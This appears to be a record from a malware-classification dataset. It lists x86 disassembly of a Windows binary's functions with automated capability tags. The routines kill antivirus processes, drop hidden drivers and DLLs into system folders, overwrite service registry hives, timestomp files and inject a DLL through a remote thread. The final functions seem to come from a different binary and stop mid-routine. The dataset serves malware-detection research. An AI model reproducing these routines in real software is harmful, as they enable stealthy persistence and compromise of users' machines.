joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
push edi
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x401052
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [esp + 0x2c]
push str.shstat.exe
push ecx
call esi
add esp, 8
test eax, eax
je 0x40105d
lea edx, [esp + 8]
push edx
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401030
pop edi
xor al, al
pop esi
add esp, 0x128
ret
pop edi
mov al, 1
pop esi
add esp, 0x128
ret

Function at 0x401070
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x12c
push ebp
push esi
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0xc]
push eax
push esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.DLL_CloseHandle]
je 0x4010f5
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_OpenProcess]
lea ecx, [esp + 0x38]
push str.pccguide.exe
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x4010e4
mov edx, dword [esp + 0x1c]
push edx
push eax
push 0x1f0fff
call edi
mov esi, eax
push 0
push esi
call ebx
push esi
call ebp
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x4010b2
pop edi
pop ebx
push esi
call ebp
pop esi
xor al, al
pop ebp
add esp, 0x12c
ret
Function at 0x401110
Capabilities:
Extract resource via kernel32 functions
Get common file path
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x65c
push ebx
push esi
push edi
push 0x403154
push 0x6d
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov ecx, dword [0x40314c]
mov dx, word [0x403150]
mov esi, eax
mov eax, dword [0x403148]
mov dword [esp + 0x268], eax
mov dword [esp + 0x26c], ecx
xor eax, eax
mov word [esp + 0x270], dx
mov ecx, 0x7d
lea edi, [esp + 0x272]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x100
lea eax, [esp + 0x46c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
mov edi, dword [sym.imp.MSVCRT.dll_wcscat]
lea ecx, [esp + 0x468]
push str._ntlmasi.dll
push ecx
call edi
lea edx, [esp + 0x470]
push edx
lea eax, [esp + 0x274]
push eax
call edi
add esp, 0x10
lea ecx, [esp + 0x268]
push ecx
lea edx, [esp + 0x50]
push edx
call dword [section..data]
push 0
push 0
push 0x20
push 5
push 0
push 0x80
push 0
lea ecx, [esp + 0x7c]
push ecx
lea edx, [esp + 0x44]
lea eax, [esp + 0x6c]
push edx
mov dword [esp + 0x50], eax
push 0xc0100000
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0x50], 0x18
mov dword [esp + 0x54], 0
mov dword [esp + 0x5c], pe_nt_image_headers32
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
call dword [0x4041b8]
push 0
lea ecx, [esp + 0x60]
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edx, dword [esp + 0x1c]
push eax
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [esp + 0x10]
push eax
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
mov edx, dword [0x403120]
mov ecx, dword [0x40311c]
mov eax, dword [0x403124]
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], ecx
mov cl, byte [0x403128]
push 0x100
lea edx, [esp + 0x16c]
push edx
mov dword [esp + 0x24], eax
mov byte [esp + 0x28], cl
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push str._regedit.exe
lea eax, [esp + 0x16c]
push eax
call esi
push 0x100
lea ecx, [esp + 0x6c]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x6c]
push eax
call esi
push 0x20
lea ecx, [esp + 0x6c]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea edx, [esp + 0x180]
push edx
call ebx
mov esi, eax
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x58]
push ecx
lea edx, [esp + 0x4c]
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
test eax, eax
je 0x401340
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [esp + 0x80]
push eax
call ebx
lea ecx, [esp + 0x3c]
push ecx
mov ebx, eax
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push ebx
call edi
push esi
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401350
Capabilities:
Start service
Stop service

Disassembly:
sub esp, 0x20
push esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov eax, dword [0x404018]
sub eax, 2
jne 0x4013ec
cmp dword [0x40400c], 5
jne 0x4013d7
mov eax, dword [0x404010]
test eax, eax
jne 0x401396
push 0xf01ff
push 0x403174
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
jmp 0x4013f0
cmp eax, 1
jne 0x4013d7
push 0x403170
push 0x40401c
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
push 0xf01ff
je 0x4013c7
push 0x403168
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
jmp 0x4013f0
push 0x403160
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
jmp 0x4013f0
push 0xf01ff
push 0x403158
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
jmp 0x4013f0
mov esi, dword [esp + 4]
lea eax, [esp + 8]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
pop esi
add esp, 0x20
ret

Function at 0x401860
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
push ebx
push ebp
push esi
push edi
push str.irtmon
push 0x71
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov ebp, eax
xor eax, eax
mov byte [esp + 0x18], 0
mov ecx, 0x3f
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x100
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.driversBeep.sys
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
mov esi, eax
lea eax, [esp + 0x18]
push eax
push ebx
push ebp
call dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401910
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
push str.drvhiv
push 0x72
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push str.c:_t.hiv
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
mov esi, eax
lea eax, [esp + 0x18]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ebp, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call ebp
push str.SeRestorePrivilege
call fcn.00401410
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 4
xor esi, esi
lea ecx, [esp + 0x10]
push ecx
push str.SYSTEMCurrentControlSetServicesPCICtrl
push 0x80000002
call ebx
test eax, eax
je 0x4019b4
push 0x64
call edi
inc esi
cmp esi, 5
jl 0x401995
mov edi, dword [sym.imp.ADVAPI32.dll_RegRestoreKeyA]
xor esi, esi
lea esp, [esp]
mov edx, dword [esp + 0x10]
push 8
push str.C:_t.hiv
push edx
call edi
test eax, eax
je 0x4019d8
inc esi
cmp esi, 0x14
jl 0x4019c0
mov eax, dword [esp + 0x10]
push eax
call ebp
push str.c:_t.hiv
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x401a00
Capabilities:
Extract resource via kernel32 functions
Get common file path
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x220
push ebx
push ebp
push esi
push edi
push str.dll16
push 0x73
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [esp + 0x10], eax
xor eax, eax
mov byte [esp + 0x30], 0
mov ecx, 0x3f
lea edi, [esp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x100
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x403228
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ebp, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x48]
push edx
call ebp
mov ecx, dword [esp + 0x10]
push 0
mov esi, eax
lea eax, [esp + 0x30]
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call ebx
mov byte [esp + 0x130], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x131]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x100
lea edx, [esp + 0x134]
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str._regedit.exe
lea eax, [esp + 0x134]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea ecx, [esp + 0x148]
push ecx
call ebp
mov esi, eax
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
test eax, eax
je 0x401b5d
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea edx, [esp + 0x48]
push edx
call ebp
mov edi, eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x24]
push edx
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401b70
Capabilities:
Extract resource via kernel32 functions
Get common file path
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x220
push ebx
push ebp
push esi
push edi
push str.dll64
push 0x74
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [esp + 0x10], eax
xor eax, eax
mov byte [esp + 0x30], 0
mov ecx, 0x3f
lea edi, [esp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x100
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str._avifil64.dll
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ebp, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x48]
push edx
call ebp
mov ecx, dword [esp + 0x10]
push 0
mov esi, eax
lea eax, [esp + 0x30]
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call ebx
mov byte [esp + 0x130], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x131]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x100
lea edx, [esp + 0x134]
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str._regedit.exe
lea eax, [esp + 0x134]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea ecx, [esp + 0x148]
push ecx
call ebp
mov esi, eax
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
test eax, eax
je 0x401ccd
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea edx, [esp + 0x48]
push edx
call ebp
mov edi, eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x24]
push edx
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ce0
Capabilities:
Get common file path
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x120
push esi
push edi
xor eax, eax
mov byte [esp + 0x28], 0
mov ecx, 0x3f
lea edi, [esp + 0x29]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x100
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.drivers_null.sys
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
mov edi, eax
push str.Null
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401d60
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea edx, [esp + 0xc]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0x12c
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401d90
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
push str.resdt
push 0x75
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov ebx, eax
push 0x100
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.driversNull.sys
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x401e30
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
push edi
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x401e82
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [esp + 0x2c]
push 0x403290
push ecx
call esi
add esp, 8
test eax, eax
je 0x401e94
lea edx, [esp + 8]
push edx
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401e60
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
xor al, al
pop esi
add esp, 0x128
ret
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov al, 1
pop esi
add esp, 0x128
ret
Function at 0x401eb0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 4]
push eax
push esi
mov dword [esp + 0xc], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x401f1f
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call edi
mov ecx, dword [esp + 0x10]
cmp ecx, eax
jne 0x401ef4
mov edx, dword [esp + 0x20]
mov dword [0x4040a0], edx
cmp ecx, dword [0x4040a0]
jne 0x401f0f
xor eax, eax
mov edi, edi
mov cl, byte [esp + eax + 0x2c]
mov byte [eax + 0x4040a8], cl
inc eax
test cl, cl
jne 0x401f00
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401ee0
pop edi
xor eax, eax
pop esi
add esp, 0x128
ret

Function at 0x401f30
Capabilities:
Delete file

Disassembly:
push ecx
push str.SeRestorePrivilege
call fcn.00401410
mov eax, dword [0x404018]
add esp, 4
sub eax, 2
jne 0x402080
cmp dword [0x40400c], 5
push esi
push edi
jne 0x40202c
mov eax, dword [0x404010]
test eax, eax
jne 0x401fa2
lea eax, [esp + 8]
push eax
push str.SYSTEMCurrentControlSetServicesWZCSVC
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegRestoreKeyA]
xor esi, esi
mov ecx, dword [esp + 8]
push 8
push str.C:_tmp.hiv
push ecx
call edi
test eax, eax
je 0x402068
inc esi
cmp esi, 0x14
jl 0x401f81
jmp 0x402068
cmp eax, 1
jne 0x40202c
push 0x403170
push 0x40401c
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
lea eax, [esp + 8]
push eax
je 0x401ffa
push str.SYSTEMCurrentControlSetServicesxmlprov
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegRestoreKeyA]
xor esi, esi
nop
mov ecx, dword [esp + 8]
push 8
push str.C:_tmp.hiv
push ecx
call edi
test eax, eax
je 0x402068
inc esi
cmp esi, 0x14
jl 0x401fe0
jmp 0x402068
push str.SYSTEMCurrentControlSetServicesAlerter
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegRestoreKeyA]
xor esi, esi
mov ecx, dword [esp + 8]
push 8
push str.C:_tmp.hiv
push ecx
call edi
test eax, eax
je 0x402068
inc esi
cmp esi, 0x14
jl 0x402012
jmp 0x402068
lea eax, [esp + 8]
push eax
push str.SYSTEMCurrentControlSetServicesAppMgmt
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegRestoreKeyA]
xor esi, esi
lea esp, [esp]
mov ecx, dword [esp + 8]
push 8
push str.C:_tmp.hiv
push ecx
call edi
test eax, eax
je 0x402068
inc esi
cmp esi, 0x14
jl 0x402050
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push str.C:_tmp.hiv
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
pop ecx
ret
Function at 0x402090
Capabilities:
Start service
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
mov edi, eax
push str.Beep
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4020cc
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
lea eax, [esp + 8]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0x12c
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00401860
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
pop edi
mov al, 1
pop esi
add esp, 0x1c
ret

Function at 0x402100
Capabilities:
Acquire debug privileges
Create thread
Enumerate processes
Get common file path
Inject dll
Inject thread

Disassembly:
sub esp, 0x43c
call fcn.00401e30
cmp al, 1
je 0x402281
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea ecx, [esp + 0xc]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea edx, [esp + 0x14]
push edx
push 0x40338c
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [esp + 0xc]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push ecx
mov dword [esp + 0x28], 1
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
lea edx, [esp + 0x20]
mov esi, eax
push edx
push esi
mov dword [esp + 0x28], 0x128
call sub.KERNEL32.DLL_Process32First
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
jmp 0x402190
lea eax, [esp + 0x44]
push 0x40337c
push eax
call edi
add esp, 8
test eax, eax
je 0x402288
lea ecx, [esp + 0x20]
push ecx
push esi
call sub.KERNEL32.DLL_Process32Next
cmp eax, 1
je 0x402190
mov edi, dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
push 0
push 0x42a
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push 0x100
lea edx, [esp + 0x14c]
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x403228
lea eax, [esp + 0x14c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [esp + 0x148]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402202
push 0x100
sub eax, ecx
lea ecx, [esp + 0x24c]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x154]
push edx
push 0
push 0
lea edi, [eax + eax + 2]
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
push 4
push 0x1000
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
push 0
mov ebx, eax
push edi
lea eax, [esp + 0x250]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push 0x40336c
push 0x403360
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0
push 0
push ebx
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
pop edi
pop esi
pop ebx
add esp, 0x43c
ret
mov edi, dword [esp + 0x28]
jmp 0x4021bb
Function at 0x402d50
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49e6e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
mov eax, dword [0x51bdec]
xor eax, dword [ebp + 4]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
lea ecx, [ebx + 0x14]
lea edx, [ebp - 0x21c]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402d92
mov eax, dword [str.gfxdata.bnd]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402da3
lea edi, [ebp - 0x21c]
sub eax, edx
dec edi

Function at 0x402db3
Capabilities:
Create directory
Get common file path

Disassembly:
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne fcn.00402db3
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x21c]
rep movsb byte es:[edi], byte [esi]
push eax
lea ecx, [ebp - 0x1c]
push ecx
call fcn.00415b90
add esp, 8
mov edx, dword [ebp - 0x1c]
push 0
push 1
push ecx
mov eax, esp
mov dword [ebp - 0x18], esp
mov dword [eax], edx
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 1
call fcn.00415ad0
add esp, 0x10
mov esi, eax
mov ecx, dword [esi]
test ecx, ecx
mov byte [ebp - 4], 2
je 0x402e0d
mov edx, dword [ecx]
call dword [edx]
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x402e19
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [esi]
mov dword [ebx + 0xc], ecx
mov ecx, dword [ebp - 0x18]
test ecx, ecx
mov byte [ebp - 4], 1
je 0x402e2e
mov edx, dword [ecx]
call dword [edx + 4]
lea ecx, [ebx + 0x14]
lea edx, [ebp - 0x21c]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402e37
mov eax, dword [str.sfxdata.bnd]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402e48
lea edi, [ebp - 0x21c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402e58
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x21c]
rep movsb byte es:[edi], byte [esi]
push eax
lea ecx, [ebp - 0x18]
push ecx
call fcn.00415b90
add esp, 8
mov esi, eax
mov ecx, dword [esi]
test ecx, ecx
mov byte [ebp - 4], 3